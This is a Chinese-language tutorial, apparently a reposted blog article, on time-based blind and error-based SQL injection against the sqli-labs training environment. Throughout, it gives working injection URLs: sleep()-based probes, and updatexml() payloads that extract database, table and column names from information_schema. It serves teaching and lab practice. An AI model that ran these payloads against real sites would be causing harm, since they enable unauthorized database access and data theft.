SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)
什么是時間盲注
時間盲注指通過頁面執(zhí)行的時間來判斷數(shù)據(jù)內(nèi)容的注入方式,通常用于數(shù)據(jù)(包含邏輯型)不能返回到頁面中的場景,無法利用頁面回顯判斷數(shù)據(jù)內(nèi)容,只能通過執(zhí)行的時間來獲取數(shù)據(jù)。
時間盲注的過程
1、找到注入點,并選擇合適的注入語句
2、爆破
這里以sqli-lab第九關(guān)為例
192.168.3.10/sqli/Less-9/?id=1拿不到明顯的回顯(You are in…)
192.168.3.10/sqli/Less-9/?id=1’ --+ 也拿不到明顯的回顯(You are in…)
192.168.3.10/sqli/Less-9/?id=1’ and if(length(database())=7,sleep(6),1)–+
如果數(shù)據(jù)庫的長度等于7的話,睡6s,否則返回1——》執(zhí)行后發(fā)現(xiàn)沒有沉睡6s,等式不成立。
192.168.3.10/sqli/Less-9/?id=1’ and if(length(database())=8,sleep(6),1)–+
沉睡了6s——》數(shù)據(jù)庫名長度為8
也可以使用burp爆破出數(shù)據(jù)庫名的長度
爆破數(shù)據(jù)庫名:
192.168.3.10/sqli/Less-9/?id=1’ and if(ascii(substr(select database(),1,1))=115,sleep(6),1)–+
如果ASCII是115則睡6s,否則返回1——》發(fā)現(xiàn)一直在回顯——》數(shù)據(jù)庫名的第一個字符的ASCII為115(s)
什么是報錯注入
利用報錯的信息來回顯我們想要查詢的信息
報錯注入的過程
1、找到注入點,是否有報錯信息(利用條件)
2、使用updatexml()函數(shù)(還有其他函數(shù)可以實現(xiàn),這里以updataxml為例)
首先了解一下updatexml()/extractvalue()函數(shù)
UPDATAXML(XML_document,XPath_string,new_value);
第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數(shù):XPath_string(XPath格式的字符串),如果不了解XPath的語法,可以在網(wǎng)上查找教程
第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
而我們的注入語句為:
updataxml(1,concat(0x7e,(select version()),0x7e),1)【0x7e其實就是一個波浪線】
其中concat()函數(shù)是將其連接成一個字符串,因此不會符合XPATH_string的格式,從而出現(xiàn)格式錯誤,報錯。
具體xpath格式:http://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html
具體以sql-lab第一關(guān)為例
當(dāng)輸入http://192.168.3.10/sqli/Less-1/?id=1’ 時會有報錯信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
使用updataxml函數(shù):http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
出現(xiàn)xpath格式報錯,并且把查詢信息也爆出來了——》XPATH syntax error: '~ security~'
同理想要查這些數(shù)據(jù)庫有哪些表
http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) --+
可以發(fā)現(xiàn)表被回顯出來了
注意:使用group_concat()它所返回的字符串的長度是有限制的
輸入:http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’),0x7e),1) --+
做一下限制:http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) --+
利用limit查看第一條
limit1,1查看第二條:
http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),0x7e),1) --+
就這樣可以慢慢把表名都爆破出來
爆破字段名:
http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 1,1),0x7e),1) --+
則users表中第二個字段名為:
聯(lián)合注入,布爾盲注,時間盲注,報錯注入一些重復(fù)的東西:
select database()
select group_concat(table_name) from information_schema.tables where table_schema=‘xxx’
select group_concat(column_name) from information_schema.columns where table_name=‘xxx’
select group_concat(具體字段名) from 具體的表名
總結(jié)
以上是生活随笔為你收集整理的SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 计算机的用户控制,我的电脑我做主——Wi
- 下一篇: DP项目计算机科学,动态规划Dynami